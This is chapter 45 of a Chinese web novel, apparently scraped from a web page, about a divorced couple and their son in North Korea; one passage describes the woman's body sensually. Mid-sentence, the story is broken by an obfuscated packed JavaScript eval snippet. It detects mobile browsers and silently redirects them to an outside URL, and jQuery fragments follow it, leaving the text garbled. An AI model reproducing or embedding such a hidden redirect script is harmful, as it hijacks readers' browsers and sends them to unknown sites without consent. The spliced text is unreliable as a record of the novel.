45. 第四十五章
作品:《微酸》 宋正爱在乐团排练一时忘了看时间,赶到儿子学校门口的时,雕花铁艺校门已经紧闭,校园里静悄悄的,夕阳把空荡的操场照成橘黄色。
“同志,”她小跑到旁边的门卫窗口,气喘吁吁,焦急地问:“学校里还有孩子吗,我儿子是二年级的学生,叫金中俊,他还在吗?”
穿着制服的保安员拉开玻璃窗,探出头,说:“没有了,学生都被家长接走了,最后一个学生刚走没多久。”
宋正爱愣了一瞬,心里惴惴不安,以往都是她来接中俊回家的,如果是爸妈或者秉宪来接孩子,肯定会跟她提前说,她今天没收到信息和电话。
别是没看见,她急忙低下头,从装满东西的包里翻找手机,皮质挎包翻了又翻,好不容易掏出手机。
手指刚要碰到屏幕,清脆熟悉的童声从远处传来,“妈妈,我在这里。”
宋正爱握着手机猛地转身,目光所及,让她瞬间屏住呼吸。
身形挺拔高大的男人单臂抱着儿子,深灰色及膝军大衣,肩线平直硬朗,大衣下是熨贴得一丝不苟的深色西装,脚上的定制皮鞋锃亮。
他戴着无框眼镜,镜片下的眼神冷静深邃,透着久居高位的从容和内敛,面容极为冷峻,五官大气,线条分明。
宋正爱注意到他身后几步远的位置,停着一辆黑色定制款轿车,车型低调又气势不凡,车旁两边各站着一个保镖,时刻保持警备。
金遵抱着儿子,步伐沉稳地走到她面前,他只比她大两岁,却看起来不像是同辈人,他过于成熟稳重,身上具有高位者的压迫感。
“你怎么回来了?”宋正爱望着他,声音有些干涩,“内阁的人说,你要下个月才能从欧洲回来。”
金遵目光在她脸上停留片刻,语气平淡富有磁性:“没什么要紧事,就提前回来了。”
儿子高兴起来,拍这手说:“太好了,今晚爸爸妈妈可以陪我一起睡觉了。”
两人离婚的事,没让儿子知道,中俊还小,应该在充满爱的环境下长大,必不可少的就是父爱和母爱,所以两人也达成共识,瞒着儿子,在儿子面前扮演好恩爱的夫妻。
金遵低眸一笑,冷硬的侧脸线条看起来柔和了些许,不知道是不是夕阳的缘故,他抬手,用指背轻轻蹭了蹭儿子细嫩的脸颊,算是应允。
他的视线重新落在宋正爱的脸上,语气平稳,像是随便聊聊:“你去跟内阁的人打听我的行程,不如直接问我,你有我的私人号码。”
宋正爱下意识地握紧手机,他在婚后第二天就把私人号码存进她的手机里了,结婚多年,她一次都没打过,总觉得遇到的事都不是大事,用不着兴师动众。
“不是我想知道,是中俊,他总问我爸爸在哪儿,秉宪前几天又正好去平壤,就带他去内阁玩了大半天。”
金遵听了,没再多言,只是低头对儿子温声道:“以后想爸爸,就用妈妈的手机给爸爸打视频,爸爸在哪儿都会接电话的。”
“嗯,我记住了。”金中俊响亮地回答,伸手揽上爸爸的脖子,脸上洋溢着幸福的笑容。
宋正爱跟着金遵上了车,一家三口都坐在后排,前排是司机和保镖,隔板是升上来的,宋正爱的目光无处可看,干脆看向窗外。
她不去看身边的男人也知道,他脸上的表情是什么样的,坐姿是什么样的,夫妻多年,他总是保持着一种对一切都尽在掌控的从容,还有对她的客气和对孩子的温柔宠溺。
她时常觉得,他不该在中俊面前当过于好的慈父,中俊是男孩子,不能被溺爱,他应该像寻常父亲一样,严厉些再严厉些。
“今天,忙吗?”男人问得平淡,视线并未看向她。
宋正爱从窗外收回视线,扭头看他,确定他这话是在问她,而不是别的什么人。
“是有点忙,乐团临时决定要加一首新曲子,演出就在一周后,时间太紧了。”
她眼底泛起愁意,咬了咬唇,觉得他是在问责她,觉得她是个失职的母亲,连接儿子放学都不能准时。
“我不是故意来迟的,真的,之前我每天接他都很准时,今天只是个意外,抱歉啊。”
今天很忙只是因为乐团,而不是什么人,听她一番解释,男人自己都没发觉他紧绷的肩线放松了下来。
“不用道歉,”他顿声,语气沉稳:“你是他的母亲,但你首先是你自己,你有权利把自己的事情放在第一位。”
宋正爱微微一怔,这话跟大多数朝鲜男人说的不一样,她小的时候,母亲如果接她放学来迟,被父亲知道了,母亲是会被父亲责骂的,女人照顾孩子,才是第一位的。
接着,金遵说的话,更让她惊讶,他说:“这几天,中俊的饮食起居都由我来负责,你安心准备乐团的表演。”
“这怎么行?”宋正爱脱口而出,下意识拒绝他,她看着他冷峻的侧脸轮廓,攥紧了自己的双手,这男人手上都是大事,日理万机,怎么能把时间浪费在照顾孩子上。
金遵微微侧头,瞥了她一眼,眼神深邃看不出什么情绪,“我也正好借此休息几天,这次出差,连轴转,忙得头疼。”
原来是因为这个原因,宋正爱沉默片刻,轻声应道:“那好吧,麻烦你了。”
太客气了,客气得不像是夫妻,更不像是已经认识十五年的两人,她十九岁就跟了他,拗不过的家族联姻,那年他也才二十一岁,两人结婚七年,离婚八年,对待彼此的态度,就没变过。
除了那一晚,她听到什么人要结婚的消息,把他错认成那个人,他借此冲破了两人之间的隔膜和膈膜。
儿子听着童话故事睡着了,蜷缩在宋正爱的怀里,两只肉乎乎的手紧紧地抱着妈妈的手臂,宋正爱侧躺在儿子旁边,大概真的累了,竟也沉沉睡去,长发散在枕上,眉眼舒展,柔和似月光。
她穿着一件真丝吊带睡前,深V领,后背的布料从腰往下遮挡,香槟色几乎和她光泽感的肌肤融为一体,面料柔软完美贴合着身材曲线,勾勒出纤细的腰肢和圆润的臀部。
裙摆只到大腿中部,露出一双笔直白皙的长腿,膝盖是浅浅的粉色,他总觉得她身上的皮肤除了白色,就只剩下朦胧的粉,湿润的粉。
她在他面前,早已毫无防备之心,多年来都是这样穿着睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262544|196086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉的,甚至在家里也不会穿胸罩,他不会对她做什么,她坚信这一点。
金遵阖上眼,某处熟悉的燥热很快被他用理智压下,他重新睁开眼,轻声轻脚离开床上,凸起的喉结悄无声息滚动了几下,眸色从晦暗变得深沉。
早些年,渴望和拉扯几乎要毁了他,现在好了,没毁掉他的,只会让他更能忍。
他叹了一口气,动作很轻地拉过一旁的蚕丝被,小心翼翼地盖在她的身上,将引人遐想的春光仔细掩好,连肩头和脚趾都仔细地覆盖住。
他的新娘很美,这一点,在还没结婚前,他就知道了。
她不爱他,但至少,她是信任他的,在他身边有足够的安全感,可以不穿着胸罩跟他一起在家吃饭,也可以洗澡的时候让他把毛巾递进水汽氤氲的浴室。
想到这一点,他心里好受多了,他这么多年就是这样安慰着自己度过的,可怜得找寻着不让自己为爱疯魔失控的急救药。
婚后,他连碰到她的手,次数都少得可怜,离婚后,更是不再有任何肢体接触,关系一直很稳定,像是邻家的大哥哥和妹妹,两人并不生分只是过于客气。
他又站在床边,凝视着她的睡容,许久才发觉儿子还没盖被子,又转身从柜子里拿出一条柔软的小被,搭在儿子身上。
他做完这些事,心放到肚子里,退出卧室,轻轻关上门。
他走进书房,他是很愿意待在书房里的,他们的婚房,所有的陈设都是按照宋正爱的喜好布置的,没有整面墙的外文书籍和法律条纹,墙上挂着从世界各地淘来的油画,墙角墩着一个半米高的毛绒棕熊玩具,憨态可掬。
地毯也是她亲自选的,是白灰相间的菱格图案,羊毛厚实柔软,两扇窗的窗帘是浅杏色,布料垂感很足,轻薄又遮光。
窗台上的海棠花绿植,被小心呵护着,长得郁郁葱葱。
这里的一切,都有她的痕迹,他不在家的这段时间,她用手触碰过窗帘,或者是目光停留在某个油画上,哪怕是曾在这里一呼一吸,在地毯上踱步来回,他都能感受到。
金遵坐到书桌前,打开笔记本电脑,今晚还有一个视频会议,欧洲的事情并没有忙完,他就迫不及待回来了。
屏幕另一端的下属汇报工作,如实说他走后,下属没有处理好某项工作,造成了部分人力和财力的损失。
下属忐忑不安,静等着他的批评和指责,心里已经想好如何说才能缓和上司的怒意。
金遵的目光似乎并未看他,思绪飘得很远,飘出书房,来到卧室,脑子里想的都是裹在蚕丝被里的女人身影。
下属具体说了什么,他听得并不真切,只觉得周围的一切都是那么的柔软,在书房里坐着,只是坐着就让他感觉到幸福和舒心。
“这些都是小事,”他片刻开口,语气罕见的温和,“你重新安排人去做就是了,不必过分自责。”
屏幕那端的下属明显愣了一下,随后如释重负,心里暗自庆幸上司今天心情格外好,没有怪罪他。
看来内阁的传闻是真的,金先生只要在家办公,就特别好说话,像换了个人似的。

